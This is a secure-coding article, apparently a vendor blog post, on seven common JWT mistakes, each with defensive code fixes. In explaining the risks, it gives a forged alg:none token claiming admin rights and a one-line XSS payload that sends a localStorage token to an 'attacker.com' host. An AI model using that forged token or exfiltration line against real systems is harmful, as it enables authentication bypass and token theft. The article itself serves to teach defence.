7 JWT mistakes that break production APIs
JSON Web Tokens are the default auth mechanism for modern APIs — and also one of the most frequently misimplemented. These seven mistakes range from token forgery to complete authentication bypass. Each one has been exploited in real production systems.
Mistake 1: Accepting the alg: none attack
The JWT spec allows an alg header value of "none", which means the token requires no signature. An attacker who understands this can craft a token with any payload, change the algorithm header to none, strip the signature, and send it to your API.
If your library doesn't explicitly reject alg: none, it may accept the forged token as valid. This is a complete authentication bypass — the attacker can impersonate any user.
// Attacker-crafted token header (base64 decoded)
{ "alg": "none", "typ": "JWT" }
// Attacker-crafted payload
{ "sub": "admin", "role": "superuser" }
// Signature is empty — just a trailing dot
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJzdXBlcnVzZXIifQ.
Always pass an explicit allowed algorithms list to your JWT library. Never accept whatever algorithm the token header declares.
// Node.js — jsonwebtoken
jwt.verify(token, secret, { algorithms: ['HS256'] });
// Python — PyJWT
jwt.decode(token, secret, algorithms=["HS256"])
// Java — jjwt
Jwts.parserBuilder()
.setSigningKey(secret)
.requireAlgorithm("HS256")
.build()
.parseClaimsJws(token);
Mistake 2: Storing tokens in localStorage
localStorage is accessible by any JavaScript running on your page — including scripts injected via XSS. If an attacker finds an XSS vector (a third-party script, a user-generated content field, an npm package with a supply chain compromise), they can exfiltrate every JWT stored there with a single line:
fetch('https://attacker.com/steal?t=' + localStorage.getItem('token'));
Because JWTs are bearer tokens — whoever holds the token is authenticated — there is no recovery once a token is stolen. The attacker can use it from anywhere until it expires.
Store JWTs in HttpOnly cookies. They are invisible to JavaScript. A CSRF attack can still trigger requests using the cookie, but a properly set SameSite attribute mitigates this.
// Set the cookie server-side (Node.js / Express)
res.cookie('token', jwt, {
httpOnly: true, // JS cannot read this
secure: true, // HTTPS only
sameSite: 'Strict', // No cross-site requests
maxAge: 15 * 60 * 1000 // 15 minutes
});
Mistake 3: No exp claim — tokens that never expire
The exp (expiration) claim is optional in the JWT spec, but omitting it creates tokens that are valid forever. If the token is ever leaked — in a log file, a browser history entry, a git commit, a crash dump — it remains exploitable indefinitely.
Many libraries will not automatically reject tokens without an exp claim. The token simply never fails the expiration check because there is no check to fail.
Always set exp. Use short access token lifetimes (15 minutes) paired with longer-lived refresh tokens for seamless UX.
// Set expiry at signing time
const token = jwt.sign(
{ sub: userId, role: userRole },
secret,
{ expiresIn: '15m' } // access token: 15 minutes
);
// Verify and reject expired tokens explicitly
jwt.verify(token, secret, { clockTolerance: 30 }); // 30s clock skew tolerance
Recommended token lifetime strategy
- Access token: 15 minutes. Short window limits damage from theft.
- Refresh token: 7–30 days. Stored server-side to enable revocation.
- Rotating refresh tokens: Issue a new refresh token on each use and invalidate the old one. Detects token reuse attacks.
Mistake 4: Weak or hardcoded signing secrets
HMAC-signed JWTs (HS256, HS384, HS512) are only as strong as their secret key. A secret like "secret", "changeme", or "1234" will be cracked offline in seconds using wordlist attacks against intercepted tokens.
The attacker only needs one valid token — they can brute-force the secret, then sign arbitrary payloads themselves. The API cannot distinguish forged tokens from legitimate ones.
Hardcoded secrets in source code are worse: they appear in git history, CI logs, and any environment that clones the repository.
Use a cryptographically random secret of at least 256 bits (32 bytes). Store it in an environment variable or a secrets manager, never in code.
# Generate a secure secret (shell)
openssl rand -hex 32
# Use environment variables
JWT_SECRET=your_generated_secret_here
# Node.js
const secret = process.env.JWT_SECRET;
if (!secret || secret.length < 32) throw new Error('JWT_SECRET too short or missing');
# For RSA-signed tokens (RS256), use asymmetric keys instead — the public key
# can be distributed freely; only the private key signs.
Mistake 5: Not validating iss and aud claims
In systems with multiple services or multiple JWT issuers, a token issued for Service A may be accepted by Service B if iss (issuer) and aud (audience) claims are not validated. This is called a token confusion or confused deputy attack.
Example: a token issued by your auth service for the mobile app is accepted by your internal admin API, which expects tokens issued by your internal identity provider. Both use the same signing secret. The attacker uses their legitimate mobile token to access admin endpoints.
Always validate iss and aud claims. Each service should only accept tokens with the exact issuer and audience it expects.
// jsonwebtoken — validate both claims
jwt.verify(token, secret, {
algorithms: ['HS256'],
issuer: 'https://auth.yourapp.com',
audience: 'https://api.yourapp.com'
});
// PyJWT
jwt.decode(token, secret, algorithms=["HS256"],
options={"require": ["exp", "iss", "aud"]},
issuer="https://auth.yourapp.com",
audience="https://api.yourapp.com"
)
Mistake 6: No revocation on logout
JWTs are stateless by design — the server stores no session state. This means there is no built-in way to invalidate a token before it expires. When a user logs out, deleting the cookie or clearing localStorage removes the token client-side, but any copy of that token remains valid until exp.
If an attacker stole the token before logout, they retain access for the rest of the token's lifetime. On a 24-hour access token, that's up to 24 hours of continued access after the user thinks they've logged out.
Maintain a token denylist (blocklist) in Redis or a database. On logout, add the token's jti (JWT ID) to the denylist. Check the denylist on every request. Set TTL equal to the token's remaining lifetime to auto-clean.
// On token creation — include a unique jti
const token = jwt.sign(
{ sub: userId, jti: crypto.randomUUID() },
secret, { expiresIn: '15m' }
);
// On logout — add jti to Redis denylist
await redis.setex(`revoked:${decoded.jti}`, 900, '1'); // 900s = 15min
// On each request — check denylist before trusting token
const decoded = jwt.verify(token, secret);
const revoked = await redis.get(`revoked:${decoded.jti}`);
if (revoked) throw new Error('Token revoked');
Mistake 7: Storing sensitive data in the payload
JWT payloads are base64url-encoded, not encrypted. Anyone who intercepts the token — or who reads a server log — can decode the payload without a key. The signature only proves the payload hasn't been modified; it does not hide the payload contents.
# Decode the payload (no key required)
echo "eyJzdWIiOiJ1c2VyMTIzIiwiZW1haWwiOiJ1c2VyQGV4YW1wbGUuY29tIn0" | base64 -d
# Output: {"sub":"user123","email":"user@example.com"}
Developers sometimes store passwords (hashed), PII, credit card numbers, or internal architecture details in JWT claims under the assumption the token is "encrypted." It is not.
Store only the minimum claims needed: sub (user ID), role, exp, iat, jti. If you need to transmit sensitive data in a token, use JWE (JSON Web Encryption) — a different standard that actually encrypts the payload.
// Good — minimal claims only
{
"sub": "user_abc123",
"role": "editor",
"exp": 1716000000,
"iat": 1715999100,
"jti": "a3f7bc92-..."
}
// Bad — sensitive data in payload
{
"sub": "user_abc123",
"email": "alice@company.com", // PII
"ssn": "123-45-6789", // Very bad
"db_host": "prod.internal", // Internal architecture
"password_hash": "$2b$10$..." // Never do this
}
Quick reference — checklist
- Allowlist algorithms explicitly — reject
alg: none - Use
HttpOnly+Secure+SameSite=Strictcookies - Set
expon every token (15 min for access tokens) - Use ≥256-bit random secrets, stored in env vars
- Validate
issandaudon every request - Maintain a jti-based denylist for logout revocation
- Store only non-sensitive claims in payload
Inspect a token right now — paste it into the decoder:
Open JWT Decoder →